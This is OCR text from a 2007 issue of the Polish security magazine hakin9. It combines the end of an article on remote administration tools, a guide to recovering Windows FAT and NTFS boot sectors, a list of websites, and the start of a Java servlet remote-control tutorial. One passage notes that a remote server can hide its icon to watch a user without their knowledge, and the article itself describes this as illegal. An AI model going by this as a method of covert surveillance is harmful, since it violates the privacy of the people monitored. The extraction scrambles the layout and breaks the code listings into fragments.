wolnie  przetrząsać  dyski  i  napę-
dy odległego hosta, kopiować bądź
usuwać wybrane pliki, wpływać na
działanie  systemu  operacyjnego
hosta  (zamykać,  resetować,  usy-
piać  lub  wylogowywać),  otwierać
bądź  zamykać  szuflady  napędów
CD-ROM,  a  także,  co  niespoty-
kane,  ukrywać  ikonę  działającego
serwera na komputerze hoście. To
ostatnie, przy uprzednim zainstalo-
waniu aplikacji na hoście bez wie-
dzy jego użytkownika, może posłu-
żyć np. do późniejszego monitoro-
wania jego poczynań w sposób nie-
mal  bezpośredni  –  czyli  ekran  w
ekran  (przy  odpowiedniej  konfigu-
racji serwer będzie się uruchamiał
automatycznie  wraz  z  systemem  i
od  razu  przechodził  w  ukryty  tryb
działania z którego może go wyłą-
czyć dopiero zdalny klient).

Kwestie prawne

i moralne

Czyli kiedy wolno podsłuchiwać. Wy-
chodzi na to, że nigdy, a podsłuch jest
ścigany z kodeksu karnego (podsłuch
art.  267  §  k.k.),  bo  komputer,  nawet
jeśli  należy  do  firmy,  nie  może  być
podsłuchiwany  przez  administratora.
Jest  to  naruszanie  prywatności  pra-
cownika, a każda osoba ma prawo do
takiej  prywatności.  Są  jednak  przy-
padki,  kiedy  podsłuchanie  jest  nie-
zbędne;  używając  na  przykład  sni-
fera analizujemy sieć pod względem
występujących  anomalii,  wtedy  tra-
fiają do nas dane, których nie wolno
nam w żadnym wypadku użyć. Jeśli
używamy  programu  do  zdalnej  kon-
troli  i  wchodzimy  do  sytemu  w  spo-
sób  nieautoryzowany  (Cracking  art.
267  §  1  k.k.),  wtedy  powinniśmy  in-
formować o tym operatora kompute-
ra  lub  postępować  w  ten  sposób  je-
dynie wówczas, kiedy on sam nas po-
prosi o takie zalogowanie i usunięcie,
np. gdy wykryto awarię. Dostanie się

do  komputerów  bez  zgody  użytkow-
nika  i  pozyskiwanie  stamtąd  infor-
macji jest nielegalne i można zostać
za coś takiego zwolnionym z pracy, a
wykonanie dowolnych operacji na pli-
kach także jest zabronione (narusze-
nie integralności komputerowego za-
pisu  informacji  art.  268  k.k.).  Nawet
samo  przygotowanie  do  logowania,
czyli instalacja takiego programu jest
formą  przygotowawczą  do  łamania
zabezpieczeń,  dlatego  ważna  jest
edukacja  poszczególnych  działów,
pod  kontem  funkcjonalności  takiego
oprogramowania, dobrze jest w usta-
wieniach,  zabezpieczyć  możliwość
logowania tylko z jednego stanowiska
pracy oraz wprowadzić hasło i nazwę
użytkownika. Należy także zabezpie-
czyć  się  przed  nieautoryzowaną  in-
stalacją  takiego  oprogramowania  w
naszej sieci, (czyli sabotaż kompute-
rowy art. 269 § 1 i § 2 k.k.). Ale to już
temat na kolejny artykuł.

Podsumowanie

Prędzej  czy  później  zdenerwujesz
się,  gdy  pracownicy  ciągle  wołać
cię  będą  do  przypadkowo  odinsta-
lowanej  drukarki  lub  jeśli  będą  wy-
magali  od  ciebie  pracy  administra-
cyjnej na większej liczbie kompute-
rów.  Dojdziesz  wtedy  do  wniosku,
że warto zainstalować jeden z pro-
gramów, może nawet skorzystasz z
windowsowego  narzędzia.  Często,
gdy  jesteśmy  poza  firmą,  możemy
wykonać  zadane  prace  administra-
cyjne. Bardziej polecamy takie roz-
wiązania  niż  chodzenie  po  firmie,  i
podróżowanie  po  miastach  między
oddziałami tylko po to, żeby przeko-
nać się, że ktoś przypadkowo odin-
stalował drukarkę. l

O autorze

Autor jest informatykiem w średniej
wielkości firmie, pisze programy, chęt-
nie czyta artykuły publikowane na stro-
nie http://www.hakin9.org i na łamach
czołowych magazynów podejmujących
kwestie bezpieczeństwa informacji w
Sieci. Jest to zresztą bardzo aktualny i
gorąco dyskutowany ostatnio temat.
Kontakt z autorem: rafalpa@interia.pl

Rysunek 7.

Zasoby lokalne – komunikacji

Odzyskiwanie danych z systemu Windows

hakin9 Nr 5/2007

www.hakin9.org

Struktura FAT16

Jak widać na rysunku, mamy dwa
podstawowe czułe miejsca. Są to

Boot Sector oraz FAT16. Dla bezpie-
czeństwa oryginalna tablica FAT16
ma swoją kopię. Tabela 2. przedsta-
wia opis elementów wchodzących w
skład struktury FAT16.

Boot Sector w FAT16

Poniższa Tabela zawiera opis sek-
cji wchodzących w skład boot secto-
ra wolumenu danych sformatowane-
go przy użyciu FAT16.

System plików FAT32

FAT32  został  wprowadzony  wraz  z
systemem  Windows  2000  (jest  wy-
korzystywany  również  w  systemie
Windows XP). FAT16 wspiera wolu-
meny  danych  sięgające  4GB,  gdzie
FAT32  teoretycznie  może  wspierać
do 2TB. Rozmiar klastra FAT32 mie-
ści się w przedziale od jednego (512
bajtów) do 64 sektorów (32 KB).

Struktura FAT32

Podstawowa różnica pomiędzy FAT16,
a FAT32 to rozmiar partycji logicznej.
FAT32  przełamuje  barierę  2GB  dla
dysku logicznego poprzez rozszerze-
nie  pojedynczego  dysku  logicznego
do  127GB.  W  przypadku  posiadania
dysku 2GB na FAT16 należałoby użyć
32KB  klastra.  Wraz  z  FAT32  zakres
zmienia się od klastra 4KB. Najwięk-
szy możliwy plik dla FAT32 może mieć
wielkość 4GB minus 2 bajty.

NTFS

System plików Windows NT (NTFS)
stanowi kombinację wydajności, nie-
zawodności oraz kompatybilności,

jakiej  nie  mogły  zagwarantować  w
takim  stopniu  systemy  FAT.  Został
zaprojektowany  do  szybkiego  wyko-
nywania standardowych operacji, ta-
kich jak odczyt, zapis i wyszukiwanie.
Umożliwia też wykonywanie zaawan-
sowanych operacji, takich jak odtwa-
rzanie systemu plików na bardzo du-
żych dyskach twardych. Formatowa-
nie  wolumenu  przy  użyciu  systemu
plików NTFS tworzy w rezultacie kil-
ka systemów plików oraz Master File

Table (MFT), która zawiera informa-
cję o wszystkich plikach i folderach.

Pierwsza informacja w systemie

plików NTFS to Partition Boot Sec-

tor, który rozpoczyna się w sektorze
0, a jego długość może mieć 16 sek-
torów. Pierwszym plikiem w NTFS
jest wspomniana już tablica Master

File Table (MFT).

System plików NTFS zawiera do-

datkowe funkcje, związane z bezpie-
czeństwem,  wymagane  przy  serwe-
rach  plików  oraz  zastosowaniach  w
różnych firmach. NTFS wspiera rów-
nież  kontrolę  dostępu  do  danych,  a
także uprawnienia dostępu, które są
bardzo ważne przy integralności klu-
czowych  danych.  System  NTFS  po-
siada  prostą,  a  jednocześnie  potęż-
ną  budowę.  W  zasadzie  wszystko
jest plikiem, a wszystko w pliku atry-
butem,  od  atrybutów  danych  przez
atrybuty  bezpieczeństwa,  po  nazwę
pliku.  Częścią  pliku  są  również  me-
tadane.

Struktura NTFS

Pierwsza informacja zapisana w
NTFS to boot sector. Boot Sector
rozpoczyna się w sektorze o nume-
rze 0, a jego długość może wynosić

maksymalnie 16 sektorów. Zawiera
on dwie struktury:

• blok parametru BIOS, który za-

wiera informacje o strukturze wo-
lumenu oraz strukturze systemu
plików,

• kod, który opisuje jak znaleźć i

załadować pliki startowe dla sys-
temu operacyjnego. W przypad-
ku Windows 2000 lub Windows
XP kod ten ładuje plik Ntldr.

Master File Table

oraz metadane

Podczas  formatowania  dysku  przy
użyciu NTFS tworzony jest plik MFT
(Master  File  Table)  oraz  metadane
(czyli dane opisujące dane). Metada-
ne są plikami NTFS, używanymi do
implementacji struktury systemu pli-
ków.  NTFS  rezerwuje  sobie  pierw-
sze  16  rekordów  MFT  dla  plików  z
metadanymi.

Naprawa uszkodzonych

danych na dyskach

Zdarzyć się może, że MBR, czyli

Master Boot Record, (główny rekord
startowy) – jeden z najważniejszych
elementów dysku zostaje uszkodzo-
ny. Przyczyną tego może być błąd
użytkownika, problemy ze sprzętem,
wirusy oraz inne czynniki.

Przywracanie MBR

przy użyciu Disk Editora

Uszkodzenie MBR spowoduje brak
dostępu do dysku. Jeśli wykonaliśmy
kopię zapasową naszego MBR przy
użyciu narzędzia DiskProbe to moż-
liwe jest odtworzenie MBR na dys-
ku, który nie jest startowym. Odtwo-

Tabela 1.

Wielkości klastrów FAT16

Wielkość wolumenu

Sektorów / Klaster

Wielkość klastra

0 MB–32 MB

512 bajty

33 MB–64 MB

1 KB

65 MB–128 MB

2 KB

129 MB–255 MB

4 KB

256 MB–511 MB

8 KB

512 MB–1,023 MB

16 KB

1,024 MB–2,047 MB

32 KB

2,048 MB–4,095 MB

128

64 KB

hakin9 Nr 5/2007

www.hakin9.org

Obrona

rzenie kopii MBR nadpisuje zupełnie
sektor,  włączając  w  to  tablicę  par-
tycji.  DiskProbe  działa  wyłącznie  z
systemami Windows 2000, Windows
XP  oraz  Windows  NT;  nie  działa  z
systemami  Windows  98  oraz  Win-
dows 95.

Odtworzenie MBR

przy użyciu Recovery Console

Do odtworzenia MBR możemy rów-
nież użyć Recovery Console. Aby
skorzystać z tego narzędzia, nale-
ży uruchomić komputer z płytki star-

towej Windows. Na początku proce-
su instalacji mamy możliwość wybo-
ru opcji naprawy (komunikat Naciśnij
„R”  aby  uruchomić  naprawę”).  Po
uruchomieniu Recovery Console do-
staniemy  listę  wszystkich  prawidło-
wych instalacji Windows na kompu-
terze. Wybieramy numer instalacji (w
przypadku gdy mamy więcej niż jed-
ną  instalację)  i  naciskamy  ENTER.
Użycie  Recovery  Console  wymaga
znajomości  lokalnego  administrato-
ra.  Aby  zastąpić  uszkodzony  MBR
należy wydać polecenie fixmbr.

Odtwarzanie Boot Sector’a

Boot  Sector  można  odtworzyć  na
wiele  sposobów.  Jeśli  została  wy-
konana  kopia  bezpieczeństwa  przy
pomocy narzędzia DiskProbe, to naj-
szybszym sposobem będzie odtwo-
rzenie właśnie z użyciem DiskProbe.
Dla wolumenów NTFS istnieje alter-
natywa. Po utworzeniu lub reforma-
towaniu dysku NTFS tworzy duplikat

Boot Sectora. Dzięki skorzystaniu z
narzędzia DiskProbe możliwe jest
zlokalizowanie tego sektora i skopio-
wanie go na początek wolumenu.

Program DiskProbe dostępny

jest wraz z pakietem Windows XP

Service Pack 2 Support Tools, któ-
ry dostępny jest na stronie: http://

www.microsoft.com/downloads/deta-

ils.aspx?familyid=49AE8576-9BB9-

4126 -9761-BA8011FABF38&di-

splaylang=en. Na Rysunku 3. Przed-
stawiony jest ekran programu Disk-

Probe, dzięki któremu możliwe jest
wykonanie kopi oraz odtworzenie

Boot Sectora.

Odtworzenie Boot Sectora

Jeśli  Boot  Sector  nie  jest  w  stanie
odnaleźć  Ntldr,  Windows  2000  nie
może wystartować. Może to być spo-
wodowane  przesunięciem,  zmianą
nazwy, skasowaniem lub uszkodze-
niem  Ntldr  lub  uszkodzeniem  Boot

Sectora. W każdym z tych przypad-
ków podczas startu komputera mo-
żemy dostać następujące komuni-
katy:

A disk read error occurred
NTLDR is missing
NTLDR is compressed

Jeśli Ntldr jest uszkodzony lub go
brakuje, należy wtedy uruchomić

Emergency Repair Process. Aby go
uruchomić  należy  użyć  płyty  z  in-
stalatorem  systemu  Windows.  Po
umieszczeniu  jej  w  napędzie  i  uru-
chomieniu  systemu  przy  jej  użyciu,
należy na ekranie rozpoczynającym
proces  instalacji  wcisnąć  literę  „R”
(od słowa Repair). Następnie wybie-
ramy sposób naprawy – automatycz-
ny  lub  ręczny  i  w  dalszych  krokach
postępujemy zgodnie z informacjami
na ekranie.

Rysunek 2.

Przedstawia wygląd wolumenu opartego o NTFS po

zakończonym formatowaniu

Partition Boot

Sector

Master File Table

Pliki

systemowe

Przestrzeń plików

Rysunek 3.

DiskProbe

Rysunek 1.

Przedstawia jak wygląda struktura systemu FAT16

Boot

Sector

Sektory

zarezerwowane

FAT1

FAT2

(duplikat)

Folder

główny

Pozostałe pliki i foldery

Odzyskiwanie danych z systemu Windows

hakin9 Nr 5/2007

www.hakin9.org

Odtworzenie Boot Sectora

przy pomocy Recovery

Console

W  celu  dokonania  naprawy  uszko-
dzonego  Boot  Sectora  można  wy-
korzystać  Recovery  Console.  Po-
dobnie jak w przypadku odtwarzania
MBR,  także  tutaj  należy  uruchomić
proces  instalacji  i  wybrać  opcję  na-
prawy. Po ukazaniu się linii poleceń
należy wydać komendę Fixboot.

Odtworzenie Boot Sectora

NTFS na partycji NTFS

Kiedy system Windows NT z syste-
mem plików NTFS posiada uszko-
dzony Boot Sector, może wyświetlić
się następujący komunikat o błędzie:

Windows NT could not start because

the following file is missing or corrupt

<%SYSTEMROOT%>\SYSTEM32\

NTOSKRNL.EXE. Kiedy uruchomi-
my proces naprawy, możemy z ko-

lei ujrzeć następujący komunikat
przed rozpoczęciem procesu: Setup

has determined that your file system

is corrupt

Znana z MS-DOS komenda fdisk

z parametrem /MBR nie rozwiązu-
je tego problemu. Na szczęście sys-
tem Windows NT posiada kopię Bo-

ot Sectora NTFS. Przy pomocy od-
powiedniego programu, np. Disk Edit
z pakietu Norton Utilities, możemy

Tabela 2.

Struktura komponentów w FAT16

Komponent

Opis

Boot Sector

Zawiera blok informacji o wyglądzie wolumenu danych oraz o strukturze systemu pli-
ków. Dodatkowo zawiera informacje, które ładują system Windows Server 2003.

Sektory zarezerwowane

Pewna ilość sektorów, które mają pierwszeństwo podczas ładowania pierwszego
FAT, wliczając Boot Sector.

FAT 1

Oryginalny FAT.

FAT 2 (Duplikat)

Kopia FAT.

Folder główny

Zawiera opis plików i katalogów w katalogu głównym

Pozostałe pliki i foldery

Zawierają dane dla plików oraz folderów wewnątrz systemu plików.

Tabela 3.

Sekcje Boot Sectora w FAT16

Offset

Długość pola

Nazwa pola

0x00

3 bajty

Instrukcje skoku

0x03

8 bajtów

OEM ID

0x0B

25 bajtów

BPB

0x24

26 bajtów

Rozszerzony BPB

0x3E

448 bajtów

Bootstrap code

0x01FE

2 bajty

Znacznik końca sektora

hakin9 Nr 5/2007

www.hakin9.org

Obrona

odnaleźć kopię oryginalnego Boot

Sectora i skopiować go na początek,
zastępując nim sektor uszkodzony.

Kasowanie lub naprawianie

uszkodzonego pliku NTFS

Jeśli  jakiś  plik  jest  uszkodzony  na
partycji  NTFS,  nie  będziemy  mogli
z  nim  nic  zrobić  –  ani  go  usunąć
ani  użyć.  Przy  próbie  skasowania
dostaniemy  następujący  komunikat
o  błędzie:Cannot  delete  file  name:

The file or directory is corrupt and

unreadable.

Problem ten może się pojawić

w przypadku uszkodzenia Master

File Table (MFT). Długa i krótka na-
zwa, która jest przechowywana w in-
deksie oraz nazwy plików przecho-
wywane w File Record Segment
(FRS) zawierają litery, które są czu-
łe na wielkość znaków i które nie pa-
sują do siebie. Przykładowo, indeks

może  zwierać  nazwę  ZLYPlik.TXT,
ale  FRS  zawiera  ZLYPLIK.TXT.
Dla NTFS plik taki jest uszkodzony.
Aby  naprawić  problem,  należy  wy-
konać  kopię  wolumenu  zawierają-
cą uszkodzony plik, a następnie wy-
rzucić uszkodzony plik z wykonywa-
nej  kopii  bezpieczeństwa.  Kolejnym
krokiem jest ponowne formatowanie
wolumenu, a potem odtworzenie ko-
pii zapasowej.

Czy tylko Windows?

Można  się  zastanawiać,  czy  tylko
w  systemie  Windows  można  wyko-
nać  kopię  bezpieczeństwa  najważ-
niejszych informacji o dysku. Odpo-
wiedź  jest  oczywista  i  brzmi  „Nie”.
W przypadku Linuxa możemy zasto-
sować  narzędzie,  które  nazywa  się
DD  i  służy  do  blokowego  kopiowa-
nia i konwersji plików. Aby skopiować
MBR  (Master  Boot  Record)  w  tym

systemie należy wydać polecenie:

dd if=/dev/hda of=mbr bs=512 count=1

Narzędzia

Na rynku dostępnych jest wiele narzę-
dzi, dzięki którym możemy odzyski-
wać dane z naszych dysków. Wśród
takich programów możemy wymienić
TestDisk, który dostępny jest na licen-
cji GNU (http://www.cgsecurity.org/

wiki/TestDisk). Oprócz tego war-
to wykorzystać np. The Sleuth Kit

http://www.sleuthkit.org/sleuthkit/

index.php,  który  wspiera  większość
systemów plików. Narzędzi jest oczy-
wiście  zdecydowanie  więcej.  Więk-
szość z nich jest tworzona przez ko-
mercyjne  firmy  i  są  płatne,  ale  po-
święcając  chwilę  czasu  na  poszu-
kiwania,  możemy  znaleźć  darmowe
oprogramowanie, które zostało tu wy-
mienione. l

Tabela 4.

Metadane przechowywane w Master File Table

Plik systemowy

Nazwa

pliku

Rekord

MFT

Zastosowanie pliku

Master file table

$Mft

Zawiera jeden podstawowy plik rekordów dla każdego pliku
I katalogu w NTFS.

Master file table 2

$MftMirr

Kopia obrazu pierwszego MFT. Ten plik gwarantuje dostęp do
MTF w przypadku jego uszkodzenia.

Log file

$LogFile

Zawiera listę kroków transakcji użytych do odtworzenia NTFS.
Wielkość logu zależy od rozmiaru wolumenu.

Volume

$Volume

Zawiera listę kroków transakcji użytych do odtworzenia NTFS.
Wielkość logu zależy od rozmiaru wolumenu.

Attribute definitions

$AttrDef

Tabela z nazwami atrybutów, numerami oraz opisami.

Root file name index

Katalog główny.

Cluster bitmap

$Bitmap

Reprezentacja wolumenu pokazująca, które klastry są w użyciu.

Boot sector

$Boot

Zawiera sekwencję startową dla wolumenu, jeśli jest on wolume-
nem startowym.

Bad cluster file

$BadClus

Zawiera listę uszkodzonych klastrów.

Security file

$Secure

Zawiera unikalne deskryptory dla zapewnienia bezpieczeństwa
wszystkich plików.

Upcase table

$Upcase

Konwersja małych liter do porównania z dużymi literami zapisany-
mi w Unicode.

NTFS extension file

$Extend

Używane dla opcjonalnych rozszerzeń jak quotas lub identyfikato-
ry obiektów.

12–15 Zarezerwowane dla przyszłego użycia.

Portal internetowy na którym można znaleźć

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona zawiera ogłoszenia pracy na stanowi-

ska związane z branżą IT.

http://pracait.com

Portal poświęcony aktualnościom, artykułom

ze świata informatycznego. Zawiera ciekawe

linki, gry on-line i wiele innych interesujących

wiadomości.

http://hackme.pl

Serwis internetowy firmy QuarkBit Software,

która zajmuje się tworzeniem oprogramowania

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

Misją serwisu jest dostarczanie rzetelnych in-

formacji z zakresu szeroko pojętej informaty-

ki. Zawiera najświeższe informacje z rynku in-

formatycznego i recenzje czasopism takich jak

Hakin9, php solution, sdj.

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana osoba znajdzie garść potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis informacyjny, na którym znajdują się

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

polecane >>>

Strony

polecane

Misją Infoprof jest zrozumienie potrzeb klienta

i taki dobór usług by jak najlepiej spełniały one

jego oczekiwania, jednocześnie nie narażając

go na niepotrzebne koszty.

www.infoprof.pl

Portal poświęcony zdalnym rozwiązaniom IT,

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal powstał w celu rozreklamowania firmy

zajmującej się kompleksową usługą związaną

z promowaniem stron WWW.

http://www.webgroup.net.pl

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

ra ograniczymy do trybu teksto-
wego (terminal w przeglądarce).

Całość upichcimy na wolnym ogniu
tak, aby każdy, kto choćby na podsta-
wowym poziomie orientuje się w kwe-
stiach programowania w Javie, był w
stanie bez większych trudności zro-
zumieć przedstawiony poniżej kod.

Dlaczego JEE 5?

Rozwiązanie  problemu  łączenia
dwóch  komputerów  możliwe  jest  w
Javie przynajmniej w dwa zasadni-
cze  sposoby.  Pierwszy  polega  na
wykorzystaniu choćby zwykłego Ja-

va 2 Standard Edition (J2SE) i przy-
gotowaniu dwóch aplikacji (klienta i
serwera), które łączyłyby się ze so-
bą za pomocą gniazd (ang. sockets)
podobnie,  jak  większość  aplika-
cji  korzystających  z  obecności  sie-
ci, nie tylko te napisanych w Javie.
Taka  możliwość  nie  spełnia  jednak
założeń  naszego  projektu.  Dlate-
go  wybraliśmy  drugie  rozwiązanie,
które  korzysta  z  bardziej  zaawan-
sowanej technologii Javy dostępnej
w Java Enterprise Edition 5 (w skró-
cie JEE 5). JEE 5 oparta jest na no-
woczesnym  modelu  warstwowym:
klient  (może  nim  być  przeglądarka
WWW,  aplet  osadzony  na  stronie
WWW  lub  samodzielna  aplikacja)
oddzielony  jest  od  programu  dzia-
łającego po stronie serwera tj. stron

Java Server Pages (JSP) lub serw-
letów. Serwer z kolei jest oddzielo-
ny  od  trzeciej  warstwy,  a  mianowi-
cie  od  warstwy  logiki  biznesowej,
która  przechowuje  dane.  Podział
na  warstwy  umożliwia  podział  za-
dań  między  różne  komputery,  ści-
ślejszą  kontrolę  uprawnień  każde-
go z nich i ich ochronę. Zmienia tak-
że sposób programowania. Progra-
mista  przygotowując  serwlet  może
określić kryteria, jakie musi spełnić
jego  klient,  aby  mógł  się  odwołać

do  chronionych  zasobów.  Uwierzy-
telnienie  i  autoryzacja  użytkownika
może być przeprowadzona na pod-
stawie parametrów wywołania prze-
słanych przez klienta oraz informa-
cji  przechowywanych  w  niedostęp-
nej  bezpośrednio  dla  klienta  bazie
danych.  Dodatkowo  można  ograni-
czyć  możliwość  uwierzytelnienia,
np.  poprzez  zdefiniowanie  określo-
nego czasu, w jakim klient może po-
łączyć się z serwerem lub adresu IP
klienta. Należy jednak zwrócić uwa-

Rysunek 1.

Strona domowa serwera Tomcat

Listing 1.

Kod prostej klasy serwletu generującej stronę WWW i wyświetlającej wartość parametru przesłanego

w żądaniu

public

class

EchoServlet

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

response

setContentType

(

"text/html"

)

;

PrintWriter

out

response

getWriter

()

;

out

println

(

DOCTYPE

HTML

PUBLIC

-//W3C//DTD HTML 4.0 Transitional//EN\">"+

<HTML>

<HEAD><TITLE>Strona wygenerowana przez serwer</TITLE></HEAD>

"<BODY>

<H2>Otrzymałem tekst: <FONT COLOR=green>"

request

getParameter

(

"param"

)

"</H2>

</BODY>

</HTML>"

)

;

}

public

void

doPost

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

doGet

(

request

response

)

;

}

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

gę na to, aby wymiana danych nie-
zbędnych  do  uwierzytelnienia  nie
była  sama  w  sobie  okazją  do  zdo-
bycia informacji przez niepowołane
osoby w razie przechwycenia trans-
misji.  W  profesjonalnej  aplikacji
dane nie powinny być więc przesy-
łane  otwartym  tekstem.  Kodowanie
bez  użycia  szyfrowania  także  nie
jest  pewnym  rozwiązaniem.  Najle-
piej do łączenia użyć bezpiecznego
protokołu SSL (ang. Secure Socket

Layer), czyli połączeń HTTPS. Za-
gadnienia związane z zabezpiecze-
niem połączenia klienta z serwerem
są jednak tematem na osobny arty-
kuł. Tu skupimy się jedynie na ją-

drze aplikacji, służącej do zdalnej
kontroli.

Zwróćmy jeszcze uwagę na fakt,

że stosowanie Javy samo w sobie
zapobiega kilku poważnym zagroże-
niom. W przeciwieństwie do progra-
mów CGI, pisanych np. w C lub C++,
które nie sprawdzają zakresu tablic i

wobec tego podatne są na ataki tech-
niką przepełniania bufora, przygoto-
wywanie  serwletu  w  Javie  jest  bez-
pieczniejsze. Ponadto programy CGI
często są pisane w językach skrypto-
wych  wykonywanych  przez  powłoki
systemowe, co stwarza kolejne moż-
liwości ataku, np. przez odpowiednie
wprowadzenie szczególnie traktowa-
nych przez daną powłokę znaków do
parametru  wywołania  skryptu.  Rów-
nież na tego rodzaju sztuczki serwle-
ty są odporne.

Konfiguracja JDK

i serwera WWW

Aby  móc  programować  w  JEE  5,
Czytelnik  będzie  potrzebował  naj-
nowszej wersji pakietu Java Develo-
pement Kit (JDK). Można go pobrać
ze  strony  Sun  Microsystems  (http://

java.sun.com) i zainstalować na nie-
mal dowolnym systemie operacyj-
nym. Pamiętajmy, żeby po zainstalo-
waniu JDK dodać do zmiennej środo-

wiskowej PATH ścieżkę do jego pod-
katalogu bin. Potrzebować będziemy
również serwera WWW na lokalnym
komputerze, aby móc wygodnie te-
stować projektowany serwlet. Dosko-
nale nadaje się do tego celu serwer
Tomcat fundacji Apache. Najnowsza
wersja to 6.0, ale my korzystaliśmy z
nieco starszej wersji 5.5. Tomcat jest
dostępny do pobrania ze strony http://

tomcat.apache.org.

Mimo, że pośród dostępnych ser-

werów Tomcat nie jest wcale najszyb-
szy, a jego konfiguracja nie należy do
najprostszych,  ma  on  jednak  tą  nie-
wątpliwą zaletę, że jest dostępny bez-
płatnie i, co najważniejsze, jest zgod-
ny  z  najnowszymi  specyfikacjami
Java Servlet i Java Server Pages. Aby
jednak  poprawnie  współpracował  z
JDK,  należy  po  jego  zainstalowaniu
odpowiednio go skonfigurować:

• Definiujemy zmienną środowi-

skową

JAVA _ HOME,

przechowują-

cą ścieżkę do katalogu, w którym
zainstalowany został pakiet JDK
(nie wystarczy JRE). W przypad-
ku  systemu  Windows  wybiera-
my  Mój  komputer,  Właściwości,
Zaawansowane,  Zmienne  śro-
dowiskowe  i  tam  określamy  no-
wą zmienną. Natomiast w Linuk-
sie  definiujemy  nową  zmienną
poleceniami

export JAVA _ HOME

/ścieżka

lub s

etenv JAVA _ HOME

ścieżka,

w zależności od używa-

nej powłoki,

• Definiujemy także zmienną środo-

wiskową

CATALINA _ HOME

, w której

zapisujemy ścieżkę do katalogu
z zainstalowanym serwerem Tom-
cat,

• Możemy zmienić port używany

przez  serwer.  Domyślnie  Tom-
cat  działa  na  porcie  8080,  ale
jeśli chcemy, aby używał bardziej
typowego portu HTTP (80), mu-
simy  w  pliku  katalog_serwera/

conf/server.xml  zamienić  war-
tość  atrybutu  port  w  elemencie
Connector  z  8080  na  80.  Jeżeli
to zrobimy, nie będziemy musie-
li przy wywołaniu serwletu poda-
wać numeru portu.

• Ustawiamy opcję automatycz-

nej aktualizacji serwletów, dzię-

Rysunek 2.

Formularz HTML z Listingu 2 przesyłający żądanie do serwletu

Rysunek 3.

Odpowiedź generowana przez serwlet z Listingu 1

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

ki której unikniemy restartowania
serwera za każdym razem, kiedy
zmienimy pliki klas. W tym celu,
w pliku katalog_serwera/conf/

server.xml w elemencie Service
dodajemy wpis

<DefaultContext

reloadable=”true”/>

• Bardzo ważne jest również włą-

czenie  serwletu  wywołującego,
którego  zadaniem  jest  umożli-
wienie  uruchamiania  serwletów
bez  konieczności  dokonywania
zmian w pliku WEB-INF/web.xml
dla  danej  aplikacji  WWW.  Dzię-
ki  temu  będziemy  mogli  urucha-
miać  serwlet  przy  użyciu  nastę-
pującego  adresu  URL:  http://

localhost/servlet/JakisServlet.

Aby włączyć serwlet wywołujący,
należy z pliku katalog_serwera/

conf/web.xml usunąć komentarz
obejmujący linie (te linie należy
oczywiście zostawić):

  <servlet-mapping>
    <servlet-name>invoker
    </servlet-name>
    <url-pattern>/servlet/*
</url-pattern>
  </servlet-mapping>

• Ponadto, aby nasz serwer mógł

uruchamiać  serwlety  lub  strony
JSP, musimy ustawić zmienną śro-
dowiskową  CLASSPATH  umiesz-
czając  w  niej  ścieżkę  do  główne-

go katalogu roboczego oraz ścieżki
do plików servlet-api.jar i jsp-api.jar,
znajdujących się w katalogu kata-

log_serwera/common/lib.

Po tych wszystkich modyfikacjach
warto przetestować nową konfigura-
cję serwera, wpisując w przeglądar-
ce adres lokalnego serwera http://

localhost, a jeżeli nie zmieniliśmy
portu http://localhost:8080. Powinni-
śmy zobaczyć stronę powitalną o ty-
tule Apache Jakarta Project. O tym,
czy na serwerze WWW możliwe jest
uruchamianie serwletów, przekona-
my się już niebawem.

Aplikacja typu

klient-serwer

Projekt,  który  zamierzamy  przygo-
tować,  będzie  działał  w  architektu-
rze klient-serwer. Jest to model apli-
kacji,  w  której  wyraźnie  są  wyróż-
nione  dwa  osobne  moduły:  serwer
udostępniający  jakąś  usługę  i  klient
ubiegający  się  o  dostęp  do  niej.
Dzięki  sieci  moduł  kliencki  może
być uruchomiony na zupełnie innym
komputerze niż ten, na którym działa
moduł serwera. W naszym przypad-
ku klientem będzie aplet uruchamia-
ny  w  przeglądarce  na  komputerze,
z  którego  będziemy  chcieli  kontro-
lować zdalny komputer, a serwerem
–  serwlet  działający  na  kompute-
rze, który będzie zdalnie kontrolowa-
ny. Po uruchomieniu apletu w prze-
glądarce przesyła ona pierwsze żą-
danie  do  serwera.  W  momencie  je-

Listing 2.

Ponieważ serwlet z Listingu 1 obsługuje w taki sam sposób zarówno żądania typu GET, jak i POST,

to jeżeli w formularzu zmienimy metodę wysyłania na POST (pogrubiony atrybut) – efekt będzie identyczny

HTML

HEAD

TITLE

Formularz przesyłający żądanie GET

/TITLE

META HTTP-EQUIV=

"Content-Type"

CONTENT=

"text/html; charset=ISO-8859-2"

/HEAD

BODY

CENTER

Wpisz dowolny tekst:

/H2

FORM ACTION=

"http://localhost/servlet/hakin9.EchoServlet"

METHOD=

"GET"

INPUT TYPE=

"TEXT"

NAME=

"param"

INPUT TYPE=

"SUBMIT"

VALUE=

"Wyślij"

/FORM

/CENTER

/BODY

/HTML

Rysunek 4.

Prosty aplet służący do przesyłania poleceń i wyświetlania

otrzymanych wyników

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

go otrzymania, na serwerze powsta-
je instancja serwletu. Każde kolejne
żądanie powodować już będzie jedy-
nie utworzenie nowego wątku, w któ-
rym wywoływana będzie metoda se-

rvice. Metoda ta rozpoznaje typ żą-
dania HTTP i w zależności od niego
wywołuje odpowiednią metodę, któ-

ra to żądanie obsłuży. W momencie
tworzenia  instancji  serwletu,  tj.  za-
zwyczaj  po  otrzymaniu  pierwsze-
